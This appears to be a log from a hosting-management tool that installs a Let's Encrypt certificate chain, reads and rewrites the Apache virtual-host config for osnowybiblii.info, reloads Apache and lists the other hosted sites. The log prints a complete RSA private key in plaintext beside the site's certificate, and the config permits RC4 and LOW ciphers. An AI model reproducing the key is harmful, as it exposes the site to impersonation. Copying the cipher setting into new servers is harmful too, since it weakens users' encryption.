CXzyq/UEcZaUf4HAmlQbElyUxfECAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQn
RrzbyMK1zA76fiWQyvlIyrohnTAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIf
gQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEW9zbm93eWJpYmxpaS5pbmZvghV3d3cub3Nu
b3d5YmlibGlpLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAk
oCKgIIYeaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8xMDIuY3JsMIIBDAYKKwYBBAHW
eQIEAgSB/QSB+gD4AHYA1219ENGn9XfCx+lf1wC/+YLJM1pl4dCzAXMXwMjFaXcA
AAGerB5ETQAABAMARzBFAiEA8cngT94BGuns46QOw1CmivtH83w52NAVbOZqcAt+
DAICIAXJD94NVQIN/pinLFoCKMPrQ25YObQoWOo4OKzwaywuAH4ARq+GPTs+5Z+l
d96oJF02sNntIqIj9GF3QSKUUu6VUF8AAAGerB5E8wAIAAAFAAkUYN8EAwBHMEUC
IFaIOCnZ9pN2HJ0Ang9Y9r3nqszhsa/jFt0Tu2iSJawfAiEA/dW/KTiGLjqq789X
8oGuToEY1563SPkdheIQ6KFylZ8wDQYJKoZIhvcNAQELBQADggEBAF6rkDn2dt0B
5o0GI16Y0IU0GyVWz5Tkg6K8NcytmpzTpQwl5aTf8i3BjwbW0gLCZEfuHGbWHK5U
2M61Z/X05xMmCgvzG8VLGFHxDEsaxubiE3NlXPi0zX/LT0pdROp6kxUemWdA2WmC
qm/MAEgSo5rBAFq/Tlxjtq4VS1/sFG9rCL8oEvXpL+SqnQfIW9H4lBHyp3slUoPo
BdnIFRdqkgzSh9DdzsnShdB76UzrPMHbAVoUnCzbyOLCXCkekl7NUMpyIA5zXI+V
Jfx7VR1H2ZJ5ZXRB5tmMaRaxt/ZbSUepJI4A/IIa5UIEvSxNLHFCEWWg0N941MHT
IVZOkz9gk3w=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCtFhF8SUo6SvZv
05orDGYe/VDD1JQKxeLhsCUu0mjWpoBnPPcctzHYmOXpQfCFZBoqnoCiVgYfouHq
yoZwjIOSvlZIn274WN3L1UBuNmmTnWII+XU4oec0o3Nd7VF9yaH1mZwMSLJzQz4j
Q3RfS8WykeDgtm6OBJ0+2LMaaFUHf8YQNSuaNvqATa8fOixgNIeX8Ok0Dt8528OO
ti49NQvmXRIpa6f60d+uauBRU/YBZqiuFt3Gan29ZJ1msNjJ70gYBviXFHJcnWND
SsLziCzUvn7/ubn87X8Vj8ZJ9cKB1FX+bLDsR15GM7LABgl88qv1BHGWlH+BwJpU
GxJclMXxAgMBAAECggEAGG6sCzJBQxc/0Cs7cOYwKCGz2+DPAPJMA3Wc2g4jdGFO
cMQ/UZNeeueiVJnVPM8Tjn6PQ9sGxEJ2x3DNJ2f+TqGFhnzS6kWJEXPJw4T0xDyM
ER49eMAJ5flImLKeNTZYIVYMnANLBVAxnkKwU59bichjyPSXiH6IP83RAmJF1mfs
fOcn0jLKA9ofjnueIeaIjJLZZmkmIBpHJYCIlSEXdFnHXHtUtRJrvZqsJPj9b6MK
VaTxE+aPRAz4a2VClW0fYybTYVDgHk/moIm1o6vPt2isqV0Eea2K+CmLZmvisOoG
p88v/7WLAYBh9yV1J3zxCA7ZhBq6ypQtxTWrFHTG3QKBgQDSpy9JuZfkaFOyb6I/
fh9XSUDdUZ6vf49lPViVn+VqPQSmOnuDjy5+6BMzr7cObxtRP6+Y3dPmxkTVq8bj
rHgbteI6cJVRj7pKJU4z5ZQKSXALpOvV7INTX54cXPVIQfO7by2m8vXHz/eYdcGS
tytE9TZohn6KM4t9MgrZCPI2KwKBgQDSWJ95Lo75krN3O0CvGnYWA+7H9/PPgLpc
RrFb6PMT7/y//unpImmockLtQcBCSvf26uw+fitMULGvbGM/V4frpj13qgSNxSp3
t8gyepWJ+oMcGggJIFN2E0wjTJNOQWg9TqKHDqrBy8m39FUA/8c40EQ1pRGWvUlV
Nv/cglKiUwKBgGTIfhRcyjIKQ/j79flAo0gEkRcSJMS8V+PM/OPhM0an2OCa3Fsu
FsW6zO0OpZsvRzeRK7cMcoRX2bkMzURCUNiZJZpmINp71FoDDS5BKZneVtALYJXh
6VbrSV8yjlu6yhyj7YiRd0vY0RHNTQafwgDk/Nn3dvUyAgus9ImwAQovAoGBAJkT
D3Lz0+6BuQLi5u7G9fqNgB6cLhzq1DRE6ds2CneO5UOfsgAMIBIKnPPmLpDP1+Yk
DipoTQArlTNRUGSPQYXXI9JKsyesvXwEDbfWh66y1OkFdKWXlcVOw9DIcEa5yK8c
46Afp1qDAFhTgezJNuT8gzb62nL1a0GNVePWH2arAoGAVkKyDYKnzPdERjoM5qI/
CkBhEE1ZWcmzcT5oL4tN1ndp0FYGDrkSWMcuqvCZ8FE2kIjqsF8XjILNQHibKYKO
YRGC5JZGCCP9dM+uuOvAjbNpcN5hOXZ+i8WxqtMxXal8ED3pms2DRWuEFhPMCmGn
5nnrIbabVE3phEfckiBZA1w=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-09 11:22:06: 

chmod 755 /tmp/pkp904277; /tmp/pkp904277; rm /tmp/pkp904277

2026-06-09 11:22:06: 


dir=/etc/ssl/certs


2026-06-09 11:22:06: 

PUT: /tmp/pkp457571

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/osnowybiblii_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-09 11:22:06: 

chmod 755 /tmp/pkp457571; /tmp/pkp457571; rm /tmp/pkp457571

2026-06-09 11:22:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf 45

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-09 11:22:06: 

PUT: /tmp/pkp832742

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=osnowybiblii_www_info.conf
TARGET=/etc/apache2/sites-enabled/osnowybiblii_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/osnowybiblii_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf= 1'
fi


2026-06-09 11:22:06: 

chmod 755 /tmp/pkp832742; /tmp/pkp832742; rm /tmp/pkp832742

2026-06-09 11:22:06: 




2026-06-09 11:22:06: 

PUT: /tmp/pkp402682

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-09 11:22:06: 

chmod 755 /tmp/pkp402682; /tmp/pkp402682; rm /tmp/pkp402682

2026-06-09 11:22:06: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-09 11:22:06: Establishing a connection
2026-06-09 11:22:07: 

PUT: /tmp/pkp315493

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-09 11:22:07: 

chmod 755 /tmp/pkp315493; /tmp/pkp315493; rm /tmp/pkp315493

2026-06-09 11:22:07: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-09 11:22:07: 

PUT: /tmp/pkp172468

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/osnowybiblii_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-09 11:22:07: 

chmod 755 /tmp/pkp172468; /tmp/pkp172468; rm /tmp/pkp172468

2026-06-09 11:22:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf	1414

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-09 11:22:07: 

PUT: /tmp/pkp265766

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
